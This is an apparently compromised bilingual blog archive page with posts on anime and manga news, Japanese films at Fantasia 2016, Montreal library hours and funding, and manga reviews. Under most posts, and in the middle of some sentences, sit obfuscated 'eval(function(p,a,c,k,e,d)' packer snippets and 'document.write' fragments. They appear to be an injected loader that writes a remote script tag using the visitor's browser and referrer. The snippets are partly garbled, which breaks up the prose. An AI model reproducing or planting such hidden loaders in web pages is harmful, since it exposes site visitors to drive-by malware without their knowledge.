A few more notable news

Here are a few notable news & links (mostly anime & manga related) that I came across recently:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srysa|var|u0026u|referrer|ikydn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tafbn|var|u0026u|referrer|beysr||js|php’.split(‘|’),0,{}))

[ Traduire ]

Japanese movies at Fantasia 2016


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdbkh|var|u0026u|referrer|tynha||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kayzh|var|u0026u|referrer|hynaf||js|php’.split(‘|’),0,{}))
This week the programmation for the 20th edition of the Fantasia International Film Festival was announced. Twenty years, document.write(“”); that’s worth celebrating! It will be held in Montreal from July 14 to August 3 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. For more programming details you can check the festival’s web page at www.fantasiafestival.com, this year’s program [PDF] and screening schedule [PDF].

This year the festival offers 60 movies from Asia: 5 from China, 26 from Japan, 20 from Korea, 6 from Hong Kong, 1 from Taiwan, and 2 from Thailand.

As usual, we will concentrate our interest on the Japanese program that includes 4 anime (in total you can also find 33 other animated features — 29 shorts and 8 movies — from various countries). Besides Momotaro, Sacred Sailors, which is probably one of the first anime ever produced in Japan, there’s nothing out of the ordinary among those titles — although we’ve noticed that there’s lots of manga adaptations. Here’s a list of all the Japanese titles (with links to full description):


Anime:

Live-Action:

[ Traduire ]

A few notable news

Here are a few notable news & links (mostly anime & manga related) that I came across recently:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zknti|var|u0026u|referrer|ddkzs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnydi|var|u0026u|referrer|ketde||js|php’.split(‘|’),0,{}))

[ Traduire ]

Explosion of live-action adaptations

It seems that lately there is an explosion of announcements for live-action adaptations of anime or manga. Some were rumored for a long time and some come to a complete surprise. Here’s a few links to more detailed news stories:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eanie|var|u0026u|referrer|hndkk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbysb|var|u0026u|referrer|hbbri||js|php’.split(‘|’),0,{}))

I can’t wait to watch those movies…

[ Traduire ]

Solde de livres annuel

Je vous rappelle que le solde de livres annuel des amis des bibliothèques de Montréal se déroule présentement et cela jusqu’à la fin de semaine prochaine (8 mai 2016). Lisez l’affiche et <a href="http://ville.montreal.qc.ca/portal/page?_pageid=4276, document.write(“”); 5496140&_dad=portal&_schema=PORTAL” target=”“new””>cliquer dessus pour plus de détail…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhhei|var|u0026u|referrer|bikii||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|saanh|var|u0026u|referrer|fbrrh||js|php’.split(‘|’),0,{}))


Pour ma part, j’ai déjà trouvé de nombreux trésors: une vingtaine de manga (principalement des séries de Tezuka comme Phénix, Barbara, Kirihito mais aussi Zipang), une trentaine de guides de voyages (publiés chez DK, en anglais, ou Voir, en français — histoire de voyager par la lecture!), deux romans d’auteurs japonais et quelques magazines (des vieux numéro de Solaris, Alibi et National Geographic). Le tout pour à peu près soixante-douze dollars!

J’y retournerai, bien sûr, au moins une fois cette semaine et la fin de semaine prochaine (j’ai des coupons rabais). Quelle joie!

[ Translate ]

Découverte: Revue Collections Vol. 3, No 2

Le plus récent numéro de la revue Collections (la revue de la littérature d’ici pour les bibliothèques d’ici, document.write(“”); publiée par l’ANEL), le vol. 3 No 2 (publié en avril 2016), est consacré à l’Art, à la musique et au cinéma.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zshbe|var|u0026u|referrer|zkryk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdzef|var|u0026u|referrer|rzrhe||js|php’.split(‘|’),0,{}))

On y parle, bien sûr, de livres documentaires sur l’Art mais aussi d’adaptation cinématographique d’oeuvres littéraires. Une excellente référence.

La revue est disponible sous forme imprimée dans certaines bibliothèques et sur le site de l’Entrepôt du livre numérique de l’ANEL (en format PDF).

J’ai déjà mentionné le numéro précédant en février.

[ Translate ]

Five notable links

Here are five links that I came across in the last couple of weeks and that I found rather interesting. I share them with you in no particular order :
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzhdd|var|u0026u|referrer|yehth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkbky|var|u0026u|referrer|kfzdh||js|php’.split(‘|’),0,{}))

[ Traduire ]

Ten notable news

Here are ten anime & manga notable news that I came across in the last month or so (in no particular order):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ystsa|var|u0026u|referrer|hftrd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnfbk|var|u0026u|referrer|irntr||js|php’.split(‘|’),0,{}))

[ Traduire ]

Les bibliothèques de Montréal à la traine

Un récent article dans The Gazette (2016/01/22 pg A1-A2) révélait que la Ville de Montréal est à la traîne des banlieues en regard des heures d’ouverture des bibliothèques.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifney|var|u0026u|referrer|nnhby||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dktfd|var|u0026u|referrer|zizib||js|php’.split(‘|’),0,{}))

“A Montreal Gazette analysis of operating hours shows that, document.write(“”); compared to those in the city of Montreal, libraries in Montreal Island suburbs tend to have longer hours that are more convenient for people who work or go to school during the day.”

Huit des treize banlieues de l’Ile de Montréal offrent considérablement plus d’heures d’ouverture par semaine que les bibliothèques de la Ville de Montréal: Côte-St-Luc offre le plus d’heures (72 heures), suivie de Dollard-des-Ormeaux (71 hrs), Dorval, Kirkland, Westmount (69 hrs chacune), Pointe-Claire (67 hrs), Town of Mount-Royal (64 hrs) et Beaconsfield (63 hrs). Il faut noter que la bibliothèque de Côte-St-Luc ouvrait jusqu’à récemment 84 heures par semaine (de 10h à 22h) mais les heures ont été coupé au début janvier, la bibliothèque fermant maintenant à 18h les vendredis et le week-end. Exceptionnellement, cette bibliothèque ne ferme d’ailleurs jamais pour les fériés et reste ouverte 365 jours par année!

Les deux arrondissements de la Ville de Montréal offrant le plus d’heures d’ouverture sont LaSalle (65 heures) et Montréal-Nord (62 heures) — deux ex-banlieues qui se sont fusionnées en 2001! La plupart des arrondissements (neuf d’entre eux) n’offrent que 53 heures d’ouverture. Les pires arrondissements sont Mercier-Hochelaga-Maisonneuve (49.25 heures) et Côtes-des-Neige-N.D.G. (46 heures)! Mais ce sont tout de même des (petites) banlieues qui se retrouvent au bas de la liste: Montreal-West (avec 32.75 heures) et Baie d’Urfé (avec 31.5 heures). Il n’en demeure pas moins que la ville de Montréal pourrait (et devrait) faire beaucoup mieux!

Malgré un certain effort pour améliorer la situation ces dernières années, le problème est beaucoup plus profond que de simple heures d’ouverture.

Il y a quelques années un article sur le site de Ici-Radio-Canada (2014-11-07) révélait que la ville estimait avoir besoin d’une dizaine de bibliothèques supplémentaires afin de bien desservir la population montréalaise et de rattraper son retard sur les grandes villes canadiennes.

“L’an dernier [2013], les bibliothèques de la Ville de Montréal enregistraient 6,7 millions de visites, en hausse de plus de 4 % par rapport à 2010. Le nombre de prêts est aussi en progression, à 11,4 millions en 2013.”

C’est pourquoi la ville a entreprise de nombreux projets pour agrandir, rénover et construire de nouvelles bibliothèques. Ainsi la bibliothèque de Saul-Bellow a été agrandie et trois nouvelles bibliothèques ont récemment vu le jour: Du Boisé, Marc-Favreau et Benny-Farm.

Mais est-ce assez pour rattraper l’important retard que la ville accuse vis-à-vis des grandes villes canadiennes?

Continuez après le saut de page >>

Je me souviens d’avoir vu il y a plusieurs années (juillet 2005) un rapport établissant le “Diagnostic des bibliothèques municipales de l’Île de Montréal” et Montréal était à la traine des autres grandes ville canadiennes à tout les niveaux:

  • Superficie : les bibliothèques de la ville de Montréal offrent en moyenne 57 m2 par 1000 habitants alors que ce nombre atteint 82.3 m2/1000 hab. à Vancouver et 63.2 m2/1000 hab. à Toronto.
  • Nombre de livres : avec ses 4.5 million de livres, le réseau des bibliothèques de Montréal se retrouve au 4e rang en n’offrant qu’une moyenne de 2.3 livres par habitant alors que ce chiffre est de 4 livres/hab. à Vancouver et de 3.5 livres/hab. à Toronto.
  • Taux de pénétration : le pourcentage des abonnés actifs parmi la population desservie est de 37.8% à Montréal, ce qui place la ville en dernière position (8/8) dans le palmarès des villes canadiennes de 500 000 habitants et plus. Ce même taux est de 67.7% à Vancouver et de 62.6% à Toronto!
  • Dépenses : la ville de Montréal n’investit dans ses bibliothèques que $38.3 per capita ce qui la place au 3e rang, alors que Vancouver investit $63.9 per capita et Toronto $53.1 per capita. “Comme la moyenne des dépenses per capita des grandes bibliothèques canadiennes est de 43,4 $, ce qui représente un investissement de 113,3 % par rapport à celui de Montréal, cela entraîne un écart négatif de 5,1 $ ou 11,8 %.”
  • Personnel : de plus, avec ses 861 employés de bibliothèques et ses 158 bibliothécaires, la ville de Montréal a un déficit de 72 bibliothécaires et de 262.9 employés par rapport à la moyenne des grandes villes canadiennes. Le taux de bibliothécaires par 6000 habitants y est de 0.52 ce qui la place au 5e rang par rapport à Vancouver (1.32) et Toronto (1.05). Avec un taux de 0.95 employé par 2000 habitants, Montréal se classe au 6e rang! L’écart est particulièrement disproportionné dans le cas des employés affectés à la planification du réseau : 8.2 personnes-année (0.9 % de l’ensemble du personnel) à Montréal alors qu’on en retrouve 69,7 personnes-année à Toronto (3.8 % du personnel)!

Bien sûr, ces chiffres datent de plus de dix ans et les choses se sont certainement améliorées depuis mais l’écart de Montréal par rapport au reste du pays reste honteux. Et il risque de le rester quand on a des dirigeants qui semblent penser que la culture devrait être “rentable” et qu’ils coupent dans la culture au lieu d’y investir.

Pourtant l’impact positif des bibliothèques sur le développement de la population (en alphabétisation, littéracie, intégration des nouveaux arrivants, recherche d’emploi (impact économique), aide aux devoirs et à la recherche, développement personnel, culture générale, socialisation, santé, etc) —- particulièrement dans le cas de la population défavorisée et vulnérable (personnes à faible revenu, personnes âgées, etc) —- est déjà clairement et indubitablement établi. Selon l’UNESCO, les bibliothèques ont une mission d’éducation, de culture et d’information.

Malheureusement, beaucoup de gens semblent encore penser que, de nos jours (avec l’internet), les bibliothèques sont devenues inutiles! Les gens aisés tendent à oublier que ce n’est pas tout le monde qui a l’internet ou qui peut se payer des livres, des encyclopédie ou des dictionnaires! Le bénéfices générés par les bibliothèques ne se calcul pas en dollars ou en valeur économique, mais en développement social, culturel, intellectuel et scientifique, ce qui est indispensable à toute société. Elles sont le temple du savoir humain. Qu’on se le dise! Si on veut VRAIMENT aller plus loin, il faudra faire plus pour nos bibliothèques!

[ Translate ]

Découverte: Revue Collection Vol. 3, No 1

J’ai découvert par hasard cette semaine qu’un nouveau numéro de la revue Collections était maintenant disponible. J’ai déjà parlé de ce périodique à l’automne (dans le cadre de la première partie de mon essai sur les genres littéraires). Collections c’est une revue de la littérature d’ici pour les bibliothèques d’ici publiée par l’ANEL (l’Association Nationale Des éditeurs De Livres) sous forme imprimée et électronique (livrel). Publiée six fois l’an, document.write(“”); chaque numéro de la revue “aborde (…) un thème spécifique, le tout dans un cadre visant à faciliter le développement des collections et la création d’activités par les bibliothécaires”.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfkrn|var|u0026u|referrer|ibrik||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiybt|var|u0026u|referrer|bynkb||js|php’.split(‘|’),0,{}))

Le plus récent numéro, le vol. 3 No 1 (publié en février 2016), est consacré à l’histoire et à la politique. Dans ce numéro “Découvrez tout ce qui se prépare sur le 375e anniversaire de Montréal, apprenez à connaître les personnages historiques à travers leur biographie, parcourez la liste des livres jeunesse, etc.” Ici il est moins question de littérature historique ou politique mais surtout de documentaires sur l’histoire et la politique: biographies de personnages historiques, l’histoire sociale au Québec, essais sur la société et la politique québécoise, etc. On parle tout de même de la politique et de l’histoire dans la fiction (pour adultes mais aussi pour la jeunesse).

La revue est disponible dans certaines bibliothèques et sur le site de l’Entrepôt du livre numérique de l’ANEL (en format PDF).

C’est une ressource très intéressante et pas seulement pour les bibliothécaires mais pour tout les intervenants et fervents de livre et de savoir.

[ Translate ]

Animeland change de propriétaire

Voici la preuve que je ne suit plus vraiment l’actualité dans le domaine de l’anime et du manga (à part lire les gros titres du fil de nouvelles de ANN et Animeland — que vous retrouvez dans la colonne de droite de mon blog). Je suis passé à côté d’une grosse nouvelle: Animeland a changé de propriétaire… l’an dernier!

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fftdb|var|u0026u|referrer|edzbt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbdsa|var|u0026u|referrer|attka||js|php’.split(‘|’),0,{}))

AnimeLand est le 1er magazine français sur l’animation japonaise et internationale, document.write(“”); les mangas et tout l’univers otaku en France”. À tout les deux mois il offre une centaines de pages pleine à craquer de news, chroniques, interviews, articles et dossiers. J’ai toujours grandement admiré ce magazine fondé par Yvan West Laurence et Cédrik Littardi en avril 1991 (même si j’ai souvent eut l’impression que parfois ils “s’inspiraient” de Protoculture Addicts — quoiqu’il faudrait sans doute dire que l’inspiration était mutuelle). C’est rapidement devenu le meilleurs magazine sur l’anime et le manga hors-Japon et pas seulement en langue française.

Il y a quelques semaines, voulant justement me mettre un peu à jour dans les dernières tendances de la pop-culture japonaise, j’ai emprunté le plus récent numéro à la bibliothèque (#207, Décembre 2015 / Janvier 2016). Quelle ne fut pas ma surprise de découvrir que l’éditorial était signé par… Christopher Macdonald, l’éditeur de Anime News Network (et mon partenaire dans la dernière incarnation de Protoculture Addicts)! J’ai également noté que le magazine n’était plus publié par Anime Manga Presse mais plutôt par le mystérieux AMN (et cela depuis le numéro 202, en février/mars 2015). Qu’est-ce que tout cela voulait dire?

J’ai trouvé la réponse dans le fil de nouvelle du site d’Animeland: “Anime News Network reprend AnimeLand” (daté du 21 décembre 2014) [MàJ: ANN en a aussi parlé en janvier 2015]. ANN s’était donc bel et bien porté acquéreur du magazine français! Wow!

“Anime News Network, site internet leader mondial des news sur le manga et l’animation japonaise, est heureux d’annoncer la reprise d’AnimeLand, le premier magazine français de l’animation et du manga. (…) Une nouvelle société, AM Media Network, filiale de la société québécoise Anime News Network, reprend dès maintenant la publication de tous les magazines d’Anime Manga Presse qui, suite à des troubles financiers importants, a récemment traversé une procédure judiciaire.”

Toute mes félicitations à mon ami Christopher! Je lui souhaite, ainsi qu’à Animeland, le plus grand des succès. Je vais très certainement essayer de les suivre de plus près.

[ Translate ]

Découverte: de sérieux manga

Cette semaine, document.write(“”); je suis sorti en ville pour visiter un musée et j’en ai profité pour bouquiner un peu. J’ai été surpris de faire quelques découvertes: une perle rare du Lézard Noir, un autre Taniguchi (eh oui!), des manga qui n’en sont pas et un nouveau tome de Versailles no bara.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdzhh|var|u0026u|referrer|tnans||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fffne|var|u0026u|referrer|ifiya||js|php’.split(‘|’),0,{}))

Pour en savoir plus, jetez un coup d’oeil
après le saut de page >>

Gekiga Fanatics

“Osaka, fin des années 1950. De jeunes mangakas vont participer à la création d’un genre nouveau qui révolutionnera la bande dessinée japonaise : le gekiga. En partie autobiographique, Gekiga Fanatics se concentre sur trois mangakas encore inconnus à l’époque : Yoshihiro TatsumiL’Enfer, Une vie dans les marges (Cornélius), Takao SaitôGolgo 13 (Glénat), ainsi que l’auteur lui-même, Masahiko Matsumoto – La Fille du bureau de tabac (Cambourakis). Extrêmement documenté, le livre décrit avec justesse et précision les doutes et les difficultés qu’affrontent de jeunes auteurs exigeants et passionnés, qui refuseront toujours de renoncer à leurs rêves.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)

Ce manga me rappelle beaucoup Une vie dans les marges de Yoshihiro Tatsumi (publié chez Cornélius et dont j’ai commenté la version anglaise, A drifting life, publié par Drawn & Quarterly). Dans les deux cas, il s’agit de manga autobiographiques qui parlent de l’après-guerre, de la carrière de mangaka de l’auteur et de la naissance du manga comme on le connait aujourd’hui. Tant Tatsumi que Matsumoto, faisaient partie (avec entre autres Shigeru Mizuki et Osamu Tezuka) de cette première génération de mangaka pionniers qui dessinaient des histoires plutôt sérieuses dans un style un peu brouillon et parfois même caricatural. Mais Tatsumi et Matsumoto faisaient partie d’un groupe qui écrivait du Gekiga (“dessin dramatique”) caractérisé par des histoires plus sombres et avec plus d’action que le manga typique (qui offrait généralement des récit plus léger et un style plus caricatural) et visaient donc un lectorat plus âgé, plus mature. Ils s’inspiraient de la vie de tout les jours et traitaient de thèmes réalistes plus en phase avec les problèmes socio-politiques de l’époque. Pour bien exprimer ce genre de récit complexe, ils utilisaient des techniques artistiques plus cinématique qui permettaient de mieux rythmer la narration pour que l’action coule plus naturellement à travers les cases. [image ci-haut: Tatsumi Yoshihiro, Saito Takao et Matsumoto Masahiko]

Gekiga Fanatics (??????!! / Gekiga bakatachi !!) a d’abord été publié en feuilleton dans le magazine Big Comic Zôkan de Shôgakukan en 1979 avant d’être compilé en volumes chez Seirink?geisha. Il a été traduit et publié en français chez Le Lézard Noir.

Nous sommes très chanceux d’avoir des éditeurs français comme Cornélius ou le Lézard Noir qui n’hésitent aucunement à publier ces oeuvres plus anciennes, parfois plus difficile d’approche et donc moins populaire. Du côté anglophone, jusqu’à récemment, il n’y avait que Drawn & Quarterly et Vertical qui s’y était risqué mais maintenant d’autres éditeurs tâtent le terrain avec des titres comme The Rose of Versailles de Riyoko Ikeda chez Udon Entertainment, Queen Emeraldas de Leiji Matsumoto chez Kodansha Comics, Otherworld Barbara par Moto Hagio chez Fantagraphics Books ou même le colossal The Osamu Tezuka Story: A Life in Anime and Manga par Toshio Ban chez Stone Bridge Press.

Dans une langue comme dans l’autre, même si le graphisme est un peu moins plaisant ou que l’histoire représente une lecture un peu plus exigeante, il n’en demeure pas moins que ce sont des classiques de la littérature graphique japonaise que tout amateur se doit d’avoir lu.


Gekiga Fanatics, par Masahiko Matsumoto (Traduction par Miyako Slocombe). Le Lézard Noir, novembre 2013. 328 pg., 24,00 € / $42.95 Can. ISBN: 978-2-35348-0494. Recommandé pour public jeune adulte (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Ice Age chronicle of the earth, vol. 1 & 2

“Dans le futur, tandis que l’humanité tente tant bien que mal de survivre aux conséquences d’un nouvel âge glaciaire, Takéru va devoir se lancer dans une odyssée afin de sauver ses compagnons. A son bras, un bracelet sacré en argent, seul souvenir qui lui reste de sa mère…”

“Saura-t-il faire face à son destin ?”

(Texte du site de l’éditeur)

Les éditeurs de manga français (dans ce cas-ci Kana) continue à nous sortir des vieux Taniguchi qui date de l’époque où il faisait plus dans le récit d’action que dans le contemplatif. Et nous en sommes fort heureux!

